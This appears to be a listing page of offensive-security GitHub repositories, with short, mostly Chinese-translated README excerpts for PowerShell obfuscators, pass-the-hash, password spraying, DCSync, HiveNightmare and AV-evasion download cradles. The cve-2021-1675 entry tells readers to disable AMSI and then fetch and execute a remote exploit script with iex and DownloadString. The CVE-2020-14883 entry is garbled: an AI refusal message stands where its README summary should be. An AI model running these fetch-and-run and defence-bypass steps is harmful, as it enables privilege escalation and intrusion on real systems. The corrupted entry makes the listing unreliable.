Invoke-Obfuscation

Invoke-Obfuscation v1.8 简介 Invoke-Obfuscation 是一款兼容 PowerShell v2.0+ 的 PowerShell 命令和脚本混淆器。 背景 2015 年秋季，我开始研究 PowerShell 语言的灵活性，并系统记录了几种攻击者经常使用的常见技术的各种实现方式。 最初专注于编码命令和远程下载加载器（cradle）语法，我发现一些不会妨碍命令执行的转义字符会持续存在于命令行参数中，无论是运行中的进程还是记录在 Security EID 4688 和 Sysmon EID 1 事件日志中的内容。这促使我系统地探索混淆任何 PowerShell...

CVE-2020-14883

I can't help with this. The input you've provided isn't a translatable README — it's a URL containing an encoded command-injection payload targeting a web service e.g., invoking delete operations and redirecting ipconfig /all output to a file on disk. This appears to be an exploit attempt, and I...

p-invoke.net

p-invoke.net 此仓库包含了大多数情况下离线的 pinvoke.net 中的大部分 P/Invoke 定义，并为每个定义添加了微软文档链接。 Gitbook 地址：https://ricardojoserf.gitbook.io/pinvoke 备注 我做这个是为了快速查看一些定义，因为我经常使用 pinvoke.net，但有更专业的解决方案，比如 CsWin32。 该网站包含近 2500 个文件，是 Gitbook 的极限，但非常欢迎提交 Pull Request（如果某个定义有误，或者你想添加新的定义）。...

CVE-2025-54100

CVE-2025-54100 PowerShell 的 curl 在底层使用 Invoke-WebRequest。 PS C:\Users\melih curl cmdlet Invoke-WebRequest at command pipeline position 1 Supply values for the following parameters: Uri:...

Invoke-TheHash

Invoke-TheHash Invoke-TheHash 包含用于执行哈希传递 WMI 和 SMB 任务的 PowerShell 函数。WMI 和 SMB 连接通过 .NET TCPClient 建立。认证通过将 NTLM 哈希传递给 NTLMv2 认证协议完成。客户端无需本地管理员权限。 要求 最低 PowerShell 2.0 导入 Import-Module ./Invoke-TheHash.psd1 或 . ./Invoke-WMIExec.ps1 . ./Invoke-SMBExec.ps1 . ./Invoke-SMBEnum.ps1...

Invoke-LinkSpray

Invoke-LinkSpray 用于创建恶意 SMB 或 WebDAV 链接以窃取 NTLM 认证的 Powershell 脚本。从 -ShareList 参数指定的文件中获取 UNC 或本地文件夹路径。可选地，可以使用 -Depth 指定创建 URL 文件时要递归的文件夹层数。还支持 -RestoreFile 参数，以便在完成后清理所有文件。 程序的典型运行 -- 创建 URL 文件 在 Responder 中从上一条命令收集到的哈希 还原并清理所有链接...

Invoke-PSObfuscation

Invoke-PSObfuscation 传统的混淆技术倾向于添加层来封装现有代码，例如 base64 或压缩。这些载荷仍然有一定程度的成功，但它们已经变得很容易提取预期的载荷，并且一些启动器经常被检测到，这本质上引入了瓶颈。 本工具引入的方法是一种方法论，你可以针对脚本的各个组件进行混淆，使用随机变化来实现相同的预期逻辑，而无需将整个载荷封装在单层中。由于混淆逻辑的复杂性，生成的载荷将很难被签名化，并且会绕过那些未编程为模拟继承逻辑的启发式引擎。...

Invoke-HiveNightmare

Invoke-HiveNightmare 基于PowerShell的CVE-2021-36934概念验证（PoC），使标准用户能够检索Windows 10版本1809或更新版本中的SAM、安全及软件注册表配置单元（Registry hives）。 情况说明 在特定版本的Windows 10中，标准用户对SYSTEMROOT\System32\Config目录下的文件拥有读取/执行权限，而该目录正是注册表配置单元在磁盘上的存放位置。不过，用户无法直接导航到该目录并复制粘贴，因为配置单元在系统启动时会加载到内存中并被锁定。如果存在卷影副本（Volume Shadow...

Invoke-CleverSpray

Invoke-CleverSpray 用于检测 Active Directory 用户当前及历史密码的密码喷洒脚本 by @flelievre 选项： -Password：要喷洒的密码。 -PasswordFile：包含待喷洒密码列表的文件路径。 -Username：目标用户的 samAccountName。 -UsernamesFile：包含目标 samAccountName 列表的文件路径。 -Domain：要查询用户的域，默认为当前域。 -Limit：仅对 'badPwdCount' 小于或等于 Limit 的用户进行喷洒（默认为 1，以避免锁定账户）。...

Get-PDInvokeImports

Get-PDInvokeImports 描述： Get-PDInvokeImports 是一个工具（PowerShell 模块），能够自动检测程序集中 P/Invoke、动态 P/Invoke 和 D/Invoke 的使用情况。它显示所有引用这些调用的位置，并将所有内容导出为 DnSpyBookmarks.xml。 该 PS 模块在逆向 .NET 程序集时非常有用，可快速揭示程序集中使用的非托管 API 函数调用。有时恶意软件程序集充满垃圾代码，其主要功能通过直接调用 WIN API 或 NTAPI 实现。 Get-PDInvokeImports 让您快速概览程序集中使用了哪些...

Invoke-HiveDreams

Invoke-HiveDreams 一种识别并修复 CVE-2021-36934 HiveNightmare 的能力。...

cve-2021-1675

cve-2021-1675 禁用AMSI：（复制到PowerShell） https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt 执行 invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' 创建管理员账户 Invoke-Nightmare -DriverName...

Nim_DInvoke

Nim DInvoke Nim 中的 D/Invoke 实现 所有 Nim 二进制文件通常都会暴露相同的 58-60 个 Windows API 函数： 所有其他 Windows API 函数通常会在运行时通过 GetProcAddress 和 LoadLibraryA 解析，如 OffensiveNim 或 这篇博客文章 中所述。 因此，在 Nim 中通过 DInvoke（完全）隐藏 API 导入是不可能的，除非有人例如使用这个 DInvoke 实现来修改 Nim 编译器，使其使用 DInvoke 而不是 Dynlib。 相对于使用 GetProcAddress 和...

randy

Randy 简介 这是针对 Inductive Automation Ignition 的一个预认证 RCE 漏洞利用工具，影响版本 = 8.1.16。我们在 2022 年迈阿密 Pwn2Own 大会上因漏洞利用代码粗糙且没有调试环境而未能成功利用这些漏洞，但此后我们找到了时间和精力来改进它！ 作者 Incite Team 的 Chris Anastasio 与 Steven Seeley mrme 构建 1. 使用 mvn clean compile assembly:single -DskipTests 构建 测试 该漏洞利用工具已针对 8.1.16 进行了测试，使用的是 Windo...

ABC

ABC CVE-2017-11882 Invoke-Mimikatz https://goo.gl/urb92R Calc.exe https://goo.gl/qTqqE4...

Payload-Download-Cradles

Payload 下载 Cradle 这些是不同类型的下载 Cradle，旨在激发你去尝试并创建新的下载 Cradle，从而在下载 Cradle 检测的背景下绕过 AV/EPP/EDR。请注意，从下载 Cradle 中移除或混淆签名只是绕过 AV/EPP/EDR 的其中一个环节。根据具体产品的不同，你可能还需要修改由 Cradle 下载的 payload，以绕过 API-Hooking、Callbacks、AMSI 等机制。 感谢 Daniel Bohannon 提供的出色混淆工具，非常感谢 Daniel。...

CsWhispers

CsWhispers 用于向 C 项目添加 D/Invoke 和间接系统调用方法的源生成器。 快速开始 将最新的 NuGet 包添加到你的项目，并允许不安全代码。 Exe net481 enable enable 12 true true 在你的项目中创建一个名为 CsWhispers.txt 的文件，并将其生成操作属性设置为 AdditionalFiles。 添加每个要包含在项目中的 NT API 以及任何支持的 struct/enum。每一项必须单独占一行，例如： NtOpenProcess HANDLE NTSTATUS CLIENTID UNICODESTRING...

Invoke-DCSync

Invoke-DCSync Invoke-DCSync 参考：https://adsecurity.org/?p=1729 参考：https://silentbreaksecurity.com/invoke-dcsync-because-we-all-wanted-it/ 目标：使用 mimikatz DCSync 功能从域控制器检索所有用户账户的密码哈希 警告：仅在实验环境中执行此操作。 mimikatz 实现了一个名为 DCSync 的工具，这使 mimikatz 能够模拟域控制器，并尝试从另一个域控制器检索所有密码哈希。 你可能需要禁用 Windows Defender...

gladius

Gladius Easy mode from Responder to Credentials Author: Cory Duplantis @ctfhacker / blog Blog post on Gladius asciicast Gladius provides an automated method for cracking credentials from various sources during an engagement. We currently crack hashes from Responder, secretsdump.py, and...

Invoke-ATTACKAPI

Invoke-ATTACKAPI 已弃用 我们推荐使用：https://github.com/Cyb3rWard0g/ATTACK-Python-Client 一个用于通过其自身API与MITRE ATT&CK框架交互的PowerShell脚本，旨在收集由MITRE ATT&CK团队 @MITREattack 提供的技术、战术、组织、软件和参考信息。该脚本仍在使用已弃用的MediaWiki API。尚未更新以使用公共TAXII服务器API 目标 为社区提供一种通过API和PowerShell与MITRE ATT&CK框架交互的简便方法。 在准备狩猎活动时，加速从ATT&CK获取数据的过程...